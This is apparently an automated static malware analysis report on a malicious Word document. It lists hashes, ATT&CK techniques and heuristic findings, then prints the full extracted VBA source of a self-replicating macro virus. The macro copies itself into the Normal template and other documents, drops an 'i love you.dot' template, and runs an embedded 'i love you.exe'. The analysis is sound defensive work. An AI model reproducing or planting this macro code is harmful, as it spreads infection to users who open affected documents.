Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 949a7879d87d22d6…

MALICIOUS

Office (OLE)

43.5 KB Created: 2004-07-10 01:23:00 Authoring application: Microsoft Word 9.0 First seen: 2015-09-30
MD5: a50a33bd1dfdbdb525635df5a53cd9f0 SHA-1: 89baf0a7a5190a0e10bae8de0ae9f3d96ff423df SHA-256: 949a7879d87d22d6a06a2c8c87400d7b94fbb2b8a816209b5a7718a897499c14
156 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1105 Ingress Tool Transfer

The sample contains VBA macros that trigger on document opening (autoopen). These macros use CreateObject to interact with the file system and application templates. The script attempts to copy itself to the NormalTemplate and embed an executable named 'i love you.exe' into the document, which is then saved as a template named 'i love you.dot'. This indicates a downloader or dropper functionality.

Heuristics 6

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Application.OrganizerCopy Source:= _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set fso = CreateObject("scripting.filesystemobject")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub autoclose()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5068 bytes
SHA-256: 027e69ea7daf87f7834027aba3f9ae13cf79dd1907c9b8d219e7ad9d8cb5b4c8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ily"
Public biaosi As String
Public danqian As String
Public biaosi1 As String

Sub autoopen()
Dim fso, dirwin, dirsystem, dirtemp, winnormal
Set fso = CreateObject("scripting.filesystemobject")
Set dirwin = fso.getspecialfolder(0)
Set dirsystem = fso.getspecialfolder(1)
Set dirtemp = fso.getspecialfolder(2)
'winnormal = Left$(dirtemp, (Len(dirtemp) - 13)) + "Application Data\Microsoft\Templates"


biaosi = ActiveDocument.Name
If biaosi <> "i love you.dot" Then
danqian = ActiveDocument.Path + "\" + ActiveDocument.Name
On Error GoTo mathhandler
Application.OrganizerCopy Source:= _
        danqian, Destination _
        := _
       NormalTemplate.FullName _
        , Name:="ily", Object:=wdOrganizerObjectProjectItems

Selection.InlineShapes.AddOLEObject ClassType:="Package", FileName:= _
       dirwin & "\i love you.exe", LinkToFile:=False, DisplayAsIcon:=False
     
If misflag <> 1 Then
Selection.MoveLeft Unit:=wdCharacter, Count:=1, Extend:=wdExtend
    Selection.Cut
    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    Selection.Paste
    ActiveDocument.SaveAs FileName:=dirwin & "\i love you.dot", FileFormat:=wdFormatTemplate _
        , LockComments:=False, Password:="", AddToRecentFiles:=True, _
        WritePassword:="", ReadOnlyRecommended:=False, EmbedTrueTypeFonts:=False, _
         SaveNativePictureFormat:=False, SaveFormsData:=False, SaveAsAOCELetter:= _
        False
    Documents.Open FileName:=danqian, ConfirmConversions:=True, _
        ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto
    'Documents("C:\winnt\i love you.dot").Save
    Windows("i love you.dot").Close
flag1 = 1
Else
End If

If flag1 <> 1 Then
Documents.Open FileName:=dirwin & "\i love you.dot", ConfirmConversions:=True, _
        ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto
Application.OrganizerCopy Source:= _
        dirwin & "\i love you.dot" _
        , Destination:=danqian _
        , Name:="ily", Object:=wdOrganizerObjectProjectItems

Selection.MoveRight Unit:=wdCharacter, Count:=1, Extend:=wdExtend
    Selection.Copy
    'Documents("C:\winnt\i love you.dot").Save
    Windows("i love you.dot").Close
    Selection.Paste
    ActiveDocument.Save
    Application.WindowState = wdWindowStateNormal
Else
End If

mathhandler:
misflag = 1
Resume Next
 

Else
End If




End Sub

Sub autoclose()
Dim fso, dirwin, dirsystem, dirtemp, winnormal
Set fso = CreateObject("scripting.filesystemobject")
Set dirwin = fso.getspecialfolder(0)
Set dirsystem = fso.getspecialfolder(1)
Set dirtemp = fso.getspecialfolder(2)
winnormal = Left$(dirtemp, (Len(dirtemp) - 13)) + "Application Data\Microsoft\Templates"

On Error GoTo mathhandler2
biaosi1 = ActiveDocument.Name
If biaosi1 <> "i love you.dot" Then
Documents.Open FileName:=dirwin & "\i love you.dot", ConfirmConversions:=True, _
        ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto
Selection.MoveRight Unit:=wdCharacter, Count:=1, Extend:=wdExtend
    Selection.Copy
    Windows("i love you.dot").Close
Documents(biaosi1).Activate
With ActiveDocument
Selection.HomeKey Unit:=wdStory
     Selection.Paste
Selection.EndKey Unit:=wdStory
Selection.Paste
End With
    ActiveDocument.Save
    Application.WindowState = wdWindowStateNormal
Else
End If
mathhandler2:
Resume Next
End Sub


Sub autoexit()
Dim fso, dirwin, dirsystem, dirtemp, winnormal
Set fso = CreateObject("scripting.filesystemobject")
Set dirwin = fso.getspecialfolder(0)
Set dirsystem = fso.getspecialfolder(1)
Set dirtemp = fso.getspecialfolder(2)
winnormal = Left$(dirtemp, (Len(dirtemp) - 13)) + "Application Data\Microsoft\Templates"

On Error GoTo mathhandler1
Documents.Open FileName:=dirwin & "\i love you.dot", ConfirmConversions:=True, _
        ReadOnly:=False, AddToRecentFiles:=False, PasswordDocument:="", _
        PasswordTemplate:="", Revert:=False, WritePasswordDocument:="", _
        WritePasswordTemplate:="", Format:=wdOpenFormatAuto
Selection.MoveRight Unit:=wdCharacter, Count:=1, Extend:=wdExtend
Selection.InlineShapes(1).OLEFormat.DoVerb VerbIndex:=wdOLEVerbPrimary
'Documents("C:\winnt\i love you.dot").Save
mathhandler1:
Resume Next
'Windows("i love you.dot").Close
End Sub